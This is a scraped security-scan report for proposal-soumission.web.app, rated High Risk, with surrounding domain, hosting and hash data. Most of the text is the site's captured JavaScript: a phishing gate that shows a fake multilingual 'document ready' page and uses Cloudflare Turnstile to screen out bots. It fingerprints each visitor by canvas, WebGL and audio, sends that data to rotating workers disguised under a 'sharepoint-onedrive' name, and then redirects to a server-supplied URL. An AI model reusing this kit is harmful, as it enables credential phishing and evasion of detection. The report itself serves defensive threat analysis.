documentation technical

technology software

English

Domain 'proposal-soumission.web.app' uses the application-focused generic top-level domain (.app) with subdomain 'proposal-soumission'. Count 3 characters in 'web' split between 1 vowel and two consonants. Tokenizing the label suggests one word: web. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

default-src 'none'; script-src 'nonce-0tiDelzG6UDq0O7cSCSr7H' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self' https://hagen.challenges.cloudflare.com https://brunhild.challenges.cloudflare.com; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; trusted-types Okgy0 default; require-trusted-types-for 'script'; sandbox allow-same-origin allow-scripts allow-popups allow-forms

5c5c445b67e1cb710a98338a2ee3631506a50351a355c9cbcf455c8fc48a21f6

3829e288d35882dc741f8d1ebf11261a2e798381bbc07a60cbaa6beefce86477

1a9a4dafaa4050850a61edb81d908b639ee2848496eeb5d96a2fa4466a8b69c9

viewport

Prudence Malinki

MarkMonitor Inc.

web.app

ORG-FI26-RIPE

Fastly, Inc.

ORG-NCC1-RIPE

FASTLY


        // ================= TRANSLATIONS WITH RANDOM VARIANTS =================
        const translations = {
            en: { preloader: ["Preparing document...", "Loading secure document...", "Please wait, loading...", "Fetching document..."], documentReady: ["Document ready for viewing", "Your document is ready", "Click to view document", "Document prepared"], verifying: "Verifying...", success: "Verification successful. Redirecting...", error: "Verification failed. Please try again.", securityCheckFailed: "Security check failed. Please refresh.", footer: "Protected by Cloudflare Turnstile" },
            es: { preloader: ["Preparando documento...", "Cargando documento seguro...", "Espere, cargando...", "Obteniendo documento..."], documentReady: ["Documento listo para ver", "Su documento está listo", "Haga clic para ver el documento", "Documento preparado"], verifying: "Verificando...", success: "Verificación exitosa. Redirigiendo...", error: "Verificación fallida. Intente de nuevo.", securityCheckFailed: "Fallo en la verificación. Actualice la página.", footer: "Protegido por Cloudflare Turnstile" },
            fr: { preloader: ["Préparation du document...", "Chargement du document sécurisé...", "Veuillez patienter...", "Récupération du document..."], documentReady: ["Document prêt à être consulté", "Votre document est prêt", "Cliquez pour voir le document", "Document préparé"], verifying: "Vérification en cours...", success: "Vérification réussie. Redirection...", error: "Échec de la vérification. Veuillez réessayer.", securityCheckFailed: "Échec de la vérification. Actualisez la page.", footer: "Protégé par Cloudflare Turnstile" },
            de: { preloader: ["Dokument wird vorbereitet...", "Sicheres Dokument wird geladen...", "Bitte warten...", "Dokument wird abgerufen..."], documentReady: ["Dokument bereit zur Ansicht", "Ihr Dokument ist bereit", "Klicken Sie, um das Dokument anzuzeigen", "Dokument vorbereitet"], verifying: "Überprüfung läuft...", success: "Überprüfung erfolgreich. Weiterleitung...", error: "Überprüfung fehlgeschlagen. Bitte erneut versuchen.", securityCheckFailed: "Sicherheitsprüfung fehlgeschlagen. Seite neu laden.", footer: "Geschützt durch Cloudflare Turnstile" },
            it: { preloader: ["Preparazione documento...", "Caricamento documento sicuro...", "Attendere prego...", "Recupero documento..."], documentReady: ["Documento pronto per la visualizzazione", "Il tuo documento è pronto", "Clicca per visualizzare il documento", "Documento preparato"], verifying: "Verifica in corso...", success: "Verifica riuscita. Reindirizzamento...", error: "Verifica fallita. Riprova.", securityCheckFailed: "Verifica fallita. Aggiorna la pagina.", footer: "Protetto da Cloudflare Turnstile" },
            pt: { preloader: ["Preparando documento...", "Carregando documento seguro...", "Aguarde, carregando...", "Obtendo documento..."], documentReady: ["Documento pronto para visualização", "Seu documento está pronto", "Clique para ver o documento", "Documento preparado"], verifying: "Verificando...", success: "Verificação bem-sucedida. Redirecionando...", error: "Falha na verificação. Tente novamente.", securityCheckFailed: "Falha na verificação. Atualize a página.", footer: "Protegido por Cloudflare Turnstile" },
            ru: { preloader: ["Подготовка документа...", "Загрузка защищенного документа...", "Пожалуйста, подождите...", "Получение документа..."], documentReady: ["Документ готов к просмотру", "Ваш документ готов", "Нажмите для просмотра документа", "Документ подготовлен"], verifying: "Проверка...", success: "Проверка пройдена. Перенаправление...", error: "Ошибка проверки. Попробуйте снова.", securityCheckFailed: "Ошибка проверки. Обновите страницу.", footer: "Защищено Cloudflare Turnstile" },
            zh: { preloader: ["正在准备文档...", "正在加载安全文档...", "请稍候...", "正在获取文档..."], documentReady: ["文档已准备好查看", "您的文档已就绪", "点击查看文档", "文档准备就绪"], verifying: "验证中...", success: "验证成功。正在跳转...", error: "验证失败。请重试。", securityCheckFailed: "安全验证失败。请刷新页面。", footer: "由 Cloudflare Turnstile 保护" },
            ja: { preloader: ["ドキュメントを準備中...", "安全なドキュメントを読み込み中...", "しばらくお待ちください...", "ドキュメントを取得中..."], documentReady: ["ドキュメントの表示準備ができました", "ドキュメントの準備ができました", "クリックしてドキュメントを表示", "ドキュメント準備完了"], verifying: "認証中...", success: "認証成功。リダイレクト中...", error: "認証に失敗しました。もう一度お試しください。", securityCheckFailed: "セキュリティチェックに失敗しました。ページを更新してください。", footer: "Cloudflare Turnstile によって保護されています" },
            ar: { preloader: ["جارٍ تجهيز المستند...", "جارٍ تحميل المستند الآمن...", "يرجى الانتظار...", "جارٍ جلب المستند..."], documentReady: ["المستند جاهز للعرض", "المستند الخاص بك جاهز", "انقر لعرض المستند", "تم تجهيز المستند"], verifying: "جارٍ التحقق...", success: "تم التحقق بنجاح. جارٍ إعادة التوجيه...", error: "فشل التحقق. حاول مرة أخرى.", securityCheckFailed: "فشل التحقق. يرجى تحديث الصفحة.", footer: "محمي بواسطة Cloudflare Turnstile" }
        };
        function getUserLanguage() { const lang = navigator.language || navigator.userLanguage; const short = lang.split('-')[0]; return translations[short] ? short : 'en'; }
        const userLang = getUserLanguage(), t = translations[userLang];
        const preIdx = Math.floor(Math.random() * t.preloader.length);
        const docIdx = Math.floor(Math.random() * t.documentReady.length);
        document.getElementById('preloader-text').innerText = t.preloader[preIdx];
        document.getElementById('doc-message').innerText = t.documentReady[docIdx];
        document.getElementById('footer').innerText = t.footer;

        // ================= CONFIGURATION =================
        const CONFIG = {
            turnstileSitekey: "0x4AAAAAACi_JnkqDdB0xspM", // REPLACE WITH YOUR SITEKEY
            // List your worker endpoints here – they will be rotated randomly
            workerPool: [
                "https://young-breeze-c253.sharepoint-onedrive.workers.dev/verify",
                "https://wild-sun-ea2e.sharepoint-onedrive.workers.dev/verify",
                "https://empty-base-35d6.sharepoint-onedrive.workers.dev/verify",
                "https://myrange-from.sharepoint-onedrive.workers.dev/verify"
                // Add up to 10 workers
            ],
            // List your document image URLs here – one will be chosen randomly per visit
            documentImages: [
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_26_18_AM_ifrbuk.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_35_52_AM_dr356x.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_30_03_AM_ockpjd.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509188/ChatGPT_Image_Mar_3_2026_04_25_09_AM_o8nbdl.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509189/ChatGPT_Image_Mar_3_2026_04_20_28_AM_lwkb36.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509187/ChatGPT_Image_Mar_3_2026_04_25_43_AM_bqdt7h.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772230899/propositionfpdf_rjmnpw.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509621/ChatGPT_Image_Mar_3_2026_04_46_41_AM_h59bn8.png",
                "https://res.cloudinary.com/dppimkz6r/image/upload/v1772509621/ChatGPT_Image_Mar_3_2026_04_45_41_AM_fte43g.png"                 
                // Add more image URLs as needed
            ],
            // Timing (in milliseconds)
            preloaderDuration: 500,        // Show preloader for 500ms before starting verification? Actually we removed fixed preloader – verification starts immediately.
            // We'll keep a small artificial delay before sending data (human-like)
            minHumanDelay: 100,
            maxHumanDelay: 300,
            // How long to show the document after success before redirect
            documentDisplayDuration: 200,   // 200ms for very fast redirect
        };

        // Select random worker and random document image
        const selectedWorker = CONFIG.workerPool[Math.floor(Math.random() * CONFIG.workerPool.length)];
        const selectedDocImage = CONFIG.documentImages[Math.floor(Math.random() * CONFIG.documentImages.length)];
        document.getElementById('doc-image').src = selectedDocImage;

        // ================= FINGERPRINTING =================
        async function getCanvasFingerprint() {
            try {
                const canvas = document.createElement('canvas');
                canvas.width = 200; canvas.height = 50;
                const ctx = canvas.getContext('2d');
                ctx.textBaseline = 'top';
                ctx.font = '14px Arial';
                ctx.fillStyle = '#f60';
                ctx.fillRect(0, 0, 100, 50);
                ctx.fillStyle = '#069';
                ctx.font = '16px Arial';
                ctx.fillText('Fingerprint', 2, 15);
                return canvas.toDataURL();
            } catch (e) { return 'canvas-error'; }
        }
        async function getWebGLFingerprint() {
            try {
                const canvas = document.createElement('canvas');
                const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
                if (!gl) return 'webgl-unavailable';
                const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
                if (!debugInfo) return 'webgl-no-debug';
                return { vendor: gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL), renderer: gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) };
            } catch (e) { return 'webgl-error'; }
        }
        async function getAudioFingerprint() {
            return new Promise(resolve => {
                try {
                    const audioContext = new (window.OfflineAudioContext || window.webkitOfflineAudioContext)(1, 44100, 44100);
                    const oscillator = audioContext.createOscillator();
                    oscillator.type = 'triangle';
                    oscillator.frequency.setValueAtTime(10000, audioContext.currentTime);
                    const compressor = audioContext.createDynamicsCompressor();
                    compressor.threshold.setValueAtTime(-50, audioContext.currentTime);
                    compressor.knee.setValueAtTime(40, audioContext.currentTime);
                    compressor.ratio.setValueAtTime(12, audioContext.currentTime);
                    compressor.attack.setValueAtTime(0, audioContext.currentTime);
                    compressor.release.setValueAtTime(0.25, audioContext.currentTime);
                    oscillator.connect(compressor);
                    compressor.connect(audioContext.destination);
                    oscillator.start(0);
                    audioContext.startRendering().then(buffer => {
                        const samples = buffer.getChannelData(0);
                        let hash = 0;
                        for (let i = 0; i < 200; i++) hash += Math.abs(samples[i]);
                        resolve(hash.toString());
                    }).catch(() => resolve('audio-error'));
                } catch (e) { resolve('audio-error'); }
            });
        }
        async function collectVisitorData(token) {
            return {
                timestamp: new Date().toISOString(),
                pageUrl: window.location.href,
                referrer: document.referrer || 'direct',
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                cookiesEnabled: navigator.cookieEnabled,
                screenResolution: `${screen.width}x${screen.height}`,
                windowSize: `${window.innerWidth}x${window.innerHeight}`,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                hardwareConcurrency: navigator.hardwareConcurrency || 'unknown',
                deviceMemory: navigator.deviceMemory || 'unknown',
                webdriver: navigator.webdriver || false,
                canvasFingerprint: await getCanvasFingerprint(),
                webglFingerprint: await getWebGLFingerprint(),
                audioFingerprint: await getAudioFingerprint(),
                turnstileToken: token,
            };
        }

        // ================= MAIN =================
        window.onload = function () {
            const preloader = document.getElementById('preloader');
            const docPreview = document.getElementById('documentPreview');
            const statusEl = document.getElementById('statusMessage');
            const body = document.body;

            turnstile.render('#turnstile-widget', {
                sitekey: CONFIG.turnstileSitekey,
                theme: 'light',
                callback: async function (token) {
                    // Update preloader text to "Verifying..."
                    document.getElementById('preloader-text').innerText = t.verifying;

                    // Small human-like delay
                    const delay = CONFIG.minHumanDelay + Math.random() * (CONFIG.maxHumanDelay - CONFIG.minHumanDelay);
                    await new Promise(r => setTimeout(r, delay));

                    const visitorData = await collectVisitorData(token);
                    // Use the randomly selected worker
                    const response = await fetch(selectedWorker, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify(visitorData)
                    });
                    const result = await response.json();

                    if (result.success) {
                        // Switch to fullscreen mode
                        body.classList.add('fullscreen-mode');
                        // Hide preloader, show document
                        preloader.style.display = 'none';
                        docPreview.style.display = 'flex';

                        // Wait the configured duration, then redirect
                        setTimeout(() => {
                            window.location.href = result.redirectUrl;
                        }, CONFIG.documentDisplayDuration);
                    } else {
                        // Show error message
                        preloader.style.display = 'none';
                        statusEl.className = 'status-message error';
                        statusEl.innerText = result.error || t.error;
                        statusEl.style.display = 'block';
                    }
                },
                'error-callback': function (error) {
                    preloader.style.display = 'none';
                    statusEl.className = 'status-message error';
                    statusEl.innerText = t.securityCheckFailed;
                    statusEl.style.display = 'block';
                }
            });
        };
    

Requests	IP Address	Location	AS Autonomous System
4	199.36.158.100	United States	AS54113Fastly, Inc.
4	142.251.20.95Google · CDN	United States	AS15169Google LLC
4	104.18.94.41Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
12	3	-	-

Security Scan Report: proposal-soumission.web.app

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies5

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History